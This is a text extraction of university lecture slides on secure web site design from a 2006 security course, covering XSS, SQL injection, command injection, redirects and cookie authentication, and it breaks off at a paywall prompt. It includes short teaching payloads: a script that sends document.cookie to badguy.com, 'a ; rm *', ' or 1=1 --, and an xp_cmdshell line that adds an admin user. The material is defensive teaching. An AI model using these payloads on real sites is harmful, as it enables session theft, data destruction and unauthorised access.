Secure Web Site DesignSchematic web site architectureWeb Application FirewallsOur focus: web app codeWeb app codeCommon vulnerabilities (OWASP)Warm up: a simple exampleRedirectsCross Site ScriptingThe setupBad inputSo what?Even worseMySpace.com (Samy worm)Avoiding XSS bugs (PHP)Avoiding XSS bugs (ASP.NET)Slide 17SQL InjectionSlide 19Slide 20Slide 21Avoiding SQL injectionHTTP Response SplittingSlide 24Slide 25Slide 26Slide 27Summary thus farApp codeCode checkingSession ManagementCookiesSlide 33Cookie risksNot so silly … (as of 2/2000)Example: dansie.net shopping cartSolutionCookie authenticationWeak authenticators: security riskCookie auth is insufficientTake home message:THE ENDSecure Web Site DesignDan BonehCS 155Spring 2006Schematic web site architectureIDSApplicationFirewall(WAF)FirewallLoadBalancerDBWS1WS2WS3FirewallAuthorizationNetegrity (CA)Oblix (Oracle)To CCprocessorAppServersWeb Application Firewalls•Prevent some attacks we discuss today:•SQL Injection•Form field tampering•Cookie poisoning•Some examples:Imperva Kavado InterdoF5 TrafficShieldCitrix NetScaler CheckPoint Web IntelligenceOur focus: web app codeCommon web-site attacks:Denial of Service: later in courseAttack the web server (IIS, Apache) :e.g. control hijacking: CodeRed, Nimda, … Solutions:Harden web server: stackguard, libsafe, …Worm defense: later in course.Host based intrusion detection,Worm signatures generation, shields.Today: Common vulnerabilities in web application codeWeb app codeRuns on web server or app server.Takes input from web users (via web server)Interacts with the database and 3rd parties.Prepares results for users (via web server)Examples: Shopping carts, home banking, bill pay, tax prep, … New code written for every web site.Written in:C, PHP, Perl, Python, JSP, ASP, …Often written with little consideration for security.Common vulnerabilities (OWASP)Inadequate validation of user input:Cross site scriptingSQL InjectionHTTP SplittingBroken session managementCan lead to session hijacking.Insecure storage:Sensitive data stored in the clear.Prime target for theft – e.g. egghead, verizon.Warm up: a simple exampleDirect use of user input:http://victim.com/ copy.php ? name=usernamecopy.php:Problem: http://victim.com/ copy.php ? name=“a ; rm *”(should be: name=a%20;%20rm%20* )script name script inputsystem(“cp temp.dat $name.dat”)RedirectsEZShopper.com shopping cart (10/2004):http://…/cgi-bin/ loadpage.cgi ? page=urlRedirects browser to urlRedirects are common on many sitesUsed to track when user clicks on external linkEZShopper uses redirect to add HTTP headersProblem: phishinghttp://victim.com/cgi-bin/loadpage ? page=phisher.comLink to victim.com puts user at phisher.com Local redirects should ensure target URL is localCross Site ScriptingThe setupUser input is echoed into HTML response.Example: search fieldhttp://victim.com/search.php ? term = applesearch.php responds with:<HTML> <TITLE> Search Results </TITLE><BODY>Results for <?php echo $_GET[term] ?> :. . .</BODY> </HTML>Is this exploitable?Bad inputProblem: no validation of input term Consider link: (properly URL encoded)http://victim.com/search.php ? term =<script> window.open(“http://badguy.com?cookie = ” + document.cookie ) </script>What if user clicks on this link?1. Browser goes to victim.com/search.php2. Victim.com returns<HTML> Results for <script> … </script>3. Browser executes script:Sends badguy.com cookie for victim.comSo what?Why would user click on such a link?Phishing email in webmail client (e.g. gmail).Link in doubleclick banner ad… many many ways to fool user into clickingWhat if badguy.com gets cookie for victim.com ?Cookie can include session auth for victim.comOr other data intended only for victim.com Violates same origin policyEven worseAttacker can execute arbitrary scripts in browserCan manipulate any DOM component on victim.comControl links on pageControl form fields (e.g. password field) on this page and linked pages.Can infect other users: MySpace.com worm.MySpace.com (Samy worm)Users can post HTML on their pagesMySpace.com ensures HTML contains no<script>, <body>, onclick, <a href=javascript://>… but can do Javascript within CSS tags:<div style=“background:url(‘javascript:alert(1)’)”>And can hide “javascript” as “java\nscript”With careful javascript hacking:Samy’s worm: infects anyone who visits an infected MySpace page … and adds Samy as a friend.Samy had millions of friends within 24 hours.More info: http://namb.la/popular/tech.htmlAvoiding XSS bugs (PHP)Main problem: Input checking is difficult --- many ways to inject scripts into HTML.Preprocess input from user before echoing itPHP: htmlspecialchars(string)& & " " ' ' < < > > htmlspecialchars( "<a href='test'>Test</a>", ENT_QUOTES); Outputs: <a href='test'>Test</a>Avoiding XSS bugs (ASP.NET)ASP.NET 1.1:Server.HtmlEncode(string) Similar to PHP htmlspecialcharsvalidateRequest: (on by default)Crashes page if finds <script> in POST data.Looks for hardcoded list of patterns.Can be disabled: <%@ Page validateRequest=“false"( %>SQL InjectionThe setupUser input is used in SQL queryExample: login page (ASP)set ok = execute(“SELECT * FROM UserTable WHERE username=′ ” & form(“user”) & “ ′ AND password=′ ” & form(“pwd”) & “ ′ ” );If not ok.EOF login success else fail;Is this exploitable?Bad inputSuppose user = “ ′ or 1 = 1 -- ” (URL encoded)Then scripts does:ok = execute( SELECT … WHERE username= ′ ′ or 1=1 -- … )The ‘- -’ causes rest of line to be ignored.Now ok.EOF is always false.The bad news: easy login to many sites this way.Even worseSuppose user = ′ exec cmdshell ′net user badguy badpwd′ / ADD -- Then script does:ok = execute( SELECT … WHERE username= ′ ′ exec … )If SQL server context runs as “sa”, attacker gets account on DB server.Avoiding SQL injectionBuild SQL queries by properly escaping args: ′ \′Example: Parameterized SQL: (ASP.NET 1.1)Ensures SQL arguments are properly escaped.SqlCommand cmd = new SqlCommand(
View Full Document
Unlocking...